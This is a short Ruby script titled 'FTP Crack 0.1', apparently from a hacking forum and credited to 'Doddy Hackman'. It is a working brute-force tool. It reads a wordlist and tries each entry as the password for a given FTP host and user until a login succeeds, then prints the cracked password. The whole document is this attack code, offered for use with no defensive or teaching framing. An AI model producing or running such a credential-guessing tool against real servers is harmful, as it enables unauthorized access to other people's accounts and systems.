Código
#!usr/bin/ruby #FTP Crack 0.1 #Coded By Doddy H require "net/ftp" def openwords(file) if File.file?(file) print "\n[+] Opening file\n\n" ar = File.open(file) lineas = ar.readlines ar.close print "[+] Number of words : ",lineas.length,"\n\n" return lineas else print "[-] Error opening file\n" end end def sintax() print "\n[+] ruby ftpcrack.rb <host> <user> <wordlist>\n" end def head() print "\n-- == FTP Crack 0.1 == --\n\n" end def copyright() print "\n\n(C) Doddy Hackman 2012\n" exit(1) end host = ARGV[0] user = ARGV[1] wordlist = ARGV[2] head() if !host and !user and !wordlist sintax() else words = openwords(wordlist) print "\n[+] Cracking ...\n\n" words.each do |word| word = word.chomp begin ftp =Net::FTP.new(host,user,word) rescue Net::FTPPermError else print "\a\a\n[+] Password Cracked : ",word,"\n" copyright() end end print "\n[-] Pass not found\n" end copyright() # The End ?